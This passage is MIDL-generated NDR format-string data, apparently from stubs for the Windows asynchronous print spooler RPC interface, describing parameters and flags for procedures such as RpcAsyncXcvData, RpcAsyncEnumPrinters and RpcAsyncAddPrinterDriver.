),\t/* Type Offset=1306 */\n\n\t/* Return value */\n\n/* 1978 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1980 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1982 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncDeletePrinterDataEx */\n\n/* 1984 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1986 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1990 */\tNdrFcShort( 0x1f ),\t/* 31 */\n/* 1992 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1994 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1996 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1998 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 2000 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 2002 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2004 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 2006 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2008 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2010 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2012 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2014 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 2016 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 2018 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2020 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pKeyName */\n\n/* 2022 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2024 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2026 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pValueName */\n\n/* 2028 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2030 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2032 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Return value */\n\n/* 2034 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2036 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2038 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncDeletePrinterKey */\n\n/* 2040 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2042 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2046 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 2048 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2050 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 2052 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2054 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 2056 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 2058 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2060 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 2062 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2064 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2066 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2068 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2070 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 2072 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 2074 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2076 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pKeyName */\n\n/* 2078 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2080 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2082 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Return value */\n\n/* 2084 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2086 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2088 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncXcvData */\n\n/* 2090 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2092 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2096 */\tNdrFcShort( 0x21 ),\t/* 33 */\n/* 2098 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 2100 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 2102 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2104 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 2106 */\tNdrFcShort( 0x50 ),\t/* 80 */\n/* 2108 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 2110 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x9,\t\t/* 9 */\n/* 2112 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 2114 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2116 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2118 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2120 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hXcv */\n\n/* 2122 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 2124 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2126 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pszDataName */\n\n/* 2128 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2130 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2132 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pInputData */\n\n/* 2134 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2136 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2138 */\tNdrFcShort( 0x498 ),\t/* Type Offset=1176 */\n\n\t/* Parameter cbInputData */\n\n/* 2140 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2142 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2144 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pOutputData */\n\n/* 2146 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 2148 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2150 */\tNdrFcShort( 0x47e ),\t/* Type Offset=1150 */\n\n\t/* Parameter cbOutputData */\n\n/* 2152 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2154 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2156 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbOutputNeeded */\n\n/* 2158 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2160 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2162 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pdwStatus */\n\n/* 2164 */\tNdrFcShort( 0x158 ),\t/* Flags:  in, out, base type, simple ref, */\n/* 2166 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 2168 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2170 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2172 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 2174 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncSendRecvBidiData */\n\n/* 2176 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2178 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2182 */\tNdrFcShort( 0x22 ),\t/* 34 */\n/* 2184 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2186 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 2188 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2190 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 2192 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 2194 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2196 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 2198 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 2200 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2202 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2204 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2206 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 2208 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 2210 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2212 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pAction */\n\n/* 2214 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2216 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2218 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pReqData */\n\n/* 2220 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2222 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2224 */\tNdrFcShort( 0x6ae ),\t/* Type Offset=1710 */\n\n\t/* Parameter ppRespData */\n\n/* 2226 */\tNdrFcShort( 0x2013 ),\t/* Flags:  must size, must free, out, srv alloc size=8 */\n/* 2228 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2230 */\tNdrFcShort( 0x6bc ),\t/* Type Offset=1724 */\n\n\t/* Return value */\n\n/* 2232 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2234 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2236 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncCreatePrinterIC */\n\n/* 2238 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2240 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2244 */\tNdrFcShort( 0x23 ),\t/* 35 */\n/* 2246 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2248 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 2250 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2252 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 2254 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 2256 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 2258 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 2260 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 2262 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2264 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2266 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2268 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 2270 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 2272 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2274 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pHandle */\n\n/* 2276 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 2278 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2280 */\tNdrFcShort( 0x714 ),\t/* Type Offset=1812 */\n\n\t/* Parameter pDevModeContainer */\n\n/* 2282 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2284 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2286 */\tNdrFcShort( 0x28 ),\t/* Type Offset=40 */\n\n\t/* Return value */\n\n/* 2288 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2290 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2292 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncPlayGdiScriptOnPrinterIC */\n\n/* 2294 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2296 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2300 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 2302 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 2304 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 2306 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2308 */\t0x1,\t\t/* 1 */\n\t\t\t0x0,\t\t/* 0 */\n/* 2310 */\tNdrFcShort( 0x3c ),\t/* 60 */\n/* 2312 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2314 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 2316 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 2318 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2320 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2322 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2324 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinterIC */\n\n/* 2326 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 2328 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2330 */\tNdrFcShort( 0x718 ),\t/* Type Offset=1816 */\n\n\t/* Parameter pIn */\n\n/* 2332 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2334 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2336 */\tNdrFcShort( 0x502 ),\t/* Type Offset=1282 */\n\n\t/* Parameter cIn */\n\n/* 2338 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2340 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2342 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pOut */\n\n/* 2344 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 2346 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2348 */\tNdrFcShort( 0x460 ),\t/* Type Offset=1120 */\n\n\t/* Parameter cOut */\n\n/* 2350 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2352 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2354 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ul */\n\n/* 2356 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2358 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2360 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2362 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2364 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2366 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncDeletePrinterIC */\n\n/* 2368 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2370 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2374 */\tNdrFcShort( 0x25 ),\t/* 37 */\n/* 2376 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2378 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe0,\t\t/* Ctxt flags:  via ptr, in, out, */\n/* 2380 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2382 */\t0x1,\t\t/* 1 */\n\t\t\t0x0,\t\t/* 0 */\n/* 2384 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 2386 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 2388 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 2390 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2392 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2394 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2396 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2398 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter phPrinterIC */\n\n/* 2400 */\tNdrFcShort( 0x118 ),\t/* Flags:  in, out, simple ref, */\n/* 2402 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2404 */\tNdrFcShort( 0x720 ),\t/* Type Offset=1824 */\n\n\t/* Return value */\n\n/* 2406 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2408 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2410 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncEnumPrinters */\n\n/* 2412 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2414 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2418 */\tNdrFcShort( 0x26 ),\t/* 38 */\n/* 2420 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 2422 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2424 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2426 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 2428 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 2430 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 2432 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 2434 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2436 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2438 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2440 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter Flags */\n\n/* 2442 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2444 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2446 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Name */\n\n/* 2448 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2450 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2452 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 2454 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2456 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2458 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pPrinterEnum */\n\n/* 2460 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 2462 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2464 */\tNdrFcShort( 0x47a ),\t/* Type Offset=1146 */\n\n\t/* Parameter cbBuf */\n\n/* 2466 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2468 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2470 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 2472 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2474 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2476 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcReturned */\n\n/* 2478 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2480 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 2482 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2484 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2486 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 2488 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncAddPrinterDriver */\n\n/* 2490 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2492 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2496 */\tNdrFcShort( 0x27 ),\t/* 39 */\n/* 2498 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2500 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2502 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2504 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2506 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2508 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 2510 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 2512 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2514 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2516 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2518 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 2520 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2522 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2524 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pDriverContainer */\n\n/* 2526 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2528 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2530 */\tNdrFcShort( 0x95a ),\t/* Type Offset=2394 */\n\n\t/* Parameter dwFileCopyFlags */\n\n/* 2532 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2534 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2536 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2538 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2540 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2542 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncEnumPrinterDrivers */\n\n/* 2544 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2546 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2550 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 2552 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 2554 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2556 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2558 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2560 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 2562 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 2564 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 2566 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2568 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2570 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2572 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 2574 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2576 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2578 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 2580 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2582 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2584 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 2586 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2588 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2590 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pDrivers */\n\n/* 2592 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 2594 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2596 */\tNdrFcShort( 0x47a ),\t/* Type Offset=1146 */\n\n\t/* Parameter cbBuf */\n\n/* 2598 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2600 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2602 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 2604 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2606 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2608 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcReturned */\n\n/* 2610 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base 